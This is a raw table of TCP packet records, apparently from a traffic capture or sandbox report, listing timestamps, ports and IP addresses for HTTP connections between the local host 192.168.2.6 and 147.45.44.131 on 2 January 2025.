Jan 2, 2025 19:14:17.035470963 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035476923 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035480976 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035485983 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035486937 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.035491943 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035496950 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035509109 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035515070 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035520077 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.035521030 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035584927 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.035584927 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.035589933 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035598040 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035603046 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035614967 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035620928 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035692930 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.035692930 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.035725117 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035731077 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035746098 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035757065 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035769939 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035770893 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035805941 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.035876989 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035881996 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035887957 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035892963 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035893917 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.035900116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035922050 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.035924911 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035931110 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035938025 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035942078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035964012 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.036171913 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.037399054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.037405014 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.037410975 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.037416935 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.037450075 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.037455082 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.037461996 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.037487030 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.037615061 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.037693977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.037698984 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.037704945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.037710905 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.037724018 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.037738085 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.037744045 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.037750006 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.037754059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.037755966 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.037796021 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.038011074 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.038209915 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.038217068 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.038223982 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.038234949 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.038240910 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.038247108 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.038253069 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.038275957 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.038872957 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.038949013 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039094925 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039099932 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039105892 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039109945 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.039112091 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039118052 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039124966 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039139032 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039144993 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039150000 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039156914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039164066 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039164066 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.039169073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039175987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039195061 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.039195061 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.039262056 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.039308071 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039321899 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039326906 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039374113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039378881 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039385080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039391994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039397001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039431095 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.039431095 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.039431095 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.039530039 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039535999 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039541960 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039546967 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039552927 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039589882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039594889 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039601088 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.039632082 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.039645910 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.039645910 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.067658901 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.067682981 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.067744970 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.067760944 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.067774057 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.067783117 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.067854881 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.067869902 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.067877054 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.067883015 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.067888975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.067893982 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.067905903 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.067912102 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.067915916 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.067915916 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.067919970 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.067951918 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.068025112 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.068597078 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.068604946 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.068613052 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.068618059 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.068658113 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.068662882 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.068669081 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.068670988 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.068675041 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.068789005 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.069190979 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069196939 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069202900 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069247961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069262028 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069267988 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069272995 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069278002 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.069278955 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069310904 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.069329977 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069336891 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069355011 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.069412947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069427013 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069434881 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069447994 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069453955 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069459915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069468021 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.069550037 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.069577932 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.069657087 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069664001 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069670916 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069684982 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069690943 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069695950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069722891 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.069804907 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.069813967 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069820881 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069833994 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069844961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069850922 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069854975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069860935 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069884062 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069890022 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069896936 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069902897 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069905043 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.069909096 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.069936037 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.069972992 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.070103884 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070167065 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070171118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070182085 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070187092 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070193052 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070229053 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070235014 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070240974 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070251942 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.070251942 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.070285082 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070288897 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.070301056 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070307016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070312023 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070317984 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070322990 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070333958 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070385933 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.070385933 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.070420980 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.070601940 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070606947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070666075 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070672035 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070683956 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070689917 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070708036 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.070749998 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.070749998 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.070781946 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070787907 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070795059 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070830107 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070836067 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070848942 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070853949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070859909 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.070878029 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.070939064 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.070939064 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.070976019 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.071091890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.071098089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.071105003 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.071110010 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.071115017 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.071120977 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.071166992 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.074217081 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074223995 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074237108 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074249983 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074255943 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074268103 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074273109 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074279070 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074285984 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.074372053 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.074372053 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.074479103 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074484110 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074599028 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.074634075 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074640989 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074649096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074652910 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074659109 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074668884 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074702978 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074708939 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074714899 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074721098 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074727058 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074728012 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.074728012 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.074732065 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074739933 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.074784040 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.074784040 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.078460932 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.078507900 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.078511953 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.078519106 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.078524113 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.078526020 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.078530073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.078551054 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.078614950 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.078638077 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.078638077 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.078644991 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.078651905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.078656912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.078715086 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.078716993 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.078716993 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.078721046 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.078727961 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.078733921 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.078738928 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.078772068 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.078834057 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.081628084 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.081687927 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.081713915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.081721067 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.081753016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.081759930 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.081767082 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.081772089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.081779003 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.081794977 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.081796885 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.081814051 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.081851959 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.081851959 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.081938028 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.081944942 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.081950903 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.081958055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.081962109 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.081994057 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.082007885 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082016945 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082036972 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082042933 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082047939 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082057953 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.082057953 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.082079887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082086086 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082087040 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.082087040 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.082104921 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082113028 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082133055 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.082151890 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082158089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082164049 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082180977 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082185984 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082185984 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.082199097 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082205057 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082220078 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.082221985 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082226992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082231998 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082233906 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.082233906 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.082263947 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.082273006 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.082281113 CET	80	49734	147.45.44.131	192.168.2.6
